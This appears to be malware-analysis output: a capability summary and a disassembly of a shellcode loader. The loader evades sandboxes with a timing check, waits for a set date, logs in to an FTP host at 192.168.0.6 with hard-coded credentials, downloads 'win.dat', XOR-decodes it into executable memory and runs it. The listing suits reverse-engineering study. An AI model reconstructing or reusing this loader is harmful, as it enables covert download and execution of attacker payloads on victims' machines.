Function at 0x4014e0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Connect to http server
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov word [ebp - 0xac], ax
mov dword [ebp - 0xaa], eax
mov dword [ebp - 0xa6], eax
mov dword [ebp - 0xa2], eax
mov word [ebp - 0x9e], ax
call esi
lea ecx, [ebp - 0x90]
push ecx
mov edi, eax
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40157c
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401540
lea edx, [ebp - 0x90]
push edx
call fcn.00401270
add esp, 4
test eax, eax
jne 0x40157c
call esi
sub eax, edi
cmp eax, 0x7530
ja 0x401802
push 0xbb8
call ebx
lea eax, [ebp - 0x90]
push eax
call fcn.00401000
add esp, 4
test eax, eax
je 0x401540
mov edx, 3
mov word [ebp - 0xaa], dx
mov eax, 7
mov ecx, 0x7e8
lea edx, [ebp - 0x88]
mov word [ebp - 0xa6], ax
mov word [ebp - 0xac], cx
push edx
lea eax, [ebp - 0xac]
mov ecx, 0x11
push eax
mov word [ebp - 0xa4], cx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x401802
lea ecx, [ebp - 0x88]
push ecx
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 0xffffffff
jne 0x401802
mov eax, dword [str.sl_192.168.0.6_8080]
mov ecx, dword [0x4031b0]
mov edx, dword [0x4031b4]
mov dword [ebp - 0x18], eax
mov eax, dword [0x4031b8]
mov dword [ebp - 0x14], ecx
mov ecx, dword [0x4031bc]
mov dword [ebp - 0xc], eax
mov eax, dword [0x4031a4]
mov dword [ebp - 0x78], eax
movzx eax, byte [0x40319c]
mov dword [ebp - 0x10], edx
mov edx, dword [str.192.168.0.6]
mov dword [ebp - 8], ecx
mov ecx, dword [0x4031a8]
mov dword [ebp - 0x7c], edx
mov edx, dword [str.safe]
mov dword [ebp - 0x74], ecx
mov ecx, dword [str.123321]
mov byte [ebp - 0x58], al
movzx eax, byte [0x403196]
mov dword [ebp - 0x5c], edx
mov dx, word [0x403194]
mov dword [ebp - 0x4c], ecx
mov word [ebp - 0x48], dx
mov byte [ebp - 0x46], al
mov ecx, 6
mov esi, str.win.dat_192.168.0.6_8080
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
movsb byte es:[edi], byte [esi]
push str.WinInet_Ftp
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x3c], 1
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x8000000
push 1
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x5c]
push edx
mov esi, eax
push ebx
lea eax, [ebp - 0x7c]
push eax
push esi
mov dword [ebp - 0x9c], esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x84], edi
test edi, edi
jne 0x4016c2
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401802
push 0
push closesocket
push closesocket
lea ecx, [ebp - 0x18]
push ecx
push edi
call dword [sym.imp.WININET.dll_FtpOpenFileA]
mov esi, eax
test esi, esi
jne 0x4016f6
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
mov edx, dword [ebp - 0x9c]
push edx
call esi
jmp 0x401802
push 0
push esi
call dword [sym.imp.WININET.dll_FtpGetFileSize]
mov edi, eax
push edi
mov dword [ebp - 0x8c], edi
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
push 0x1000
mov dword [ebp - 0x98], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 8
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp - 0x94]
lea eax, [ebp - 0x80]
push eax
push 0x1000
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401765
mov edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x98]
push edx
push eax
lea edx, [ebx + ecx]
push edx
call sub.MSVCR90.dll_memcpy
add ebx, dword [ebp - 0x80]
add esp, 0xc
cmp edi, ebx
ja 0x401726
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
mov eax, dword [ebp - 0x84]
push eax
call esi
mov ecx, dword [ebp - 0x9c]
push ecx
call esi
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x84], esi
test esi, esi
je 0x401802
xor ecx, ecx
test edi, edi
jbe 0x4017f8
mov edi, dword [ebp - 0x98]
sub edi, esi
lea ebx, [ebx]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx + edx*2]
mov eax, ecx
sub eax, edx
jne 0x4017cd
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x57
jmp 0x4017ed
cmp eax, 1
jne 0x4017dd
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x77
jmp 0x4017ed
cmp eax, 2
jne 0x4017ef
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, cl
xor dl, 0x36
mov byte [eax], dl
inc ecx
cmp ecx, dword [ebp - 0x8c]
jb 0x4017b0
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x84]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401860
mov esp, ebp
pop ebp
ret 0x10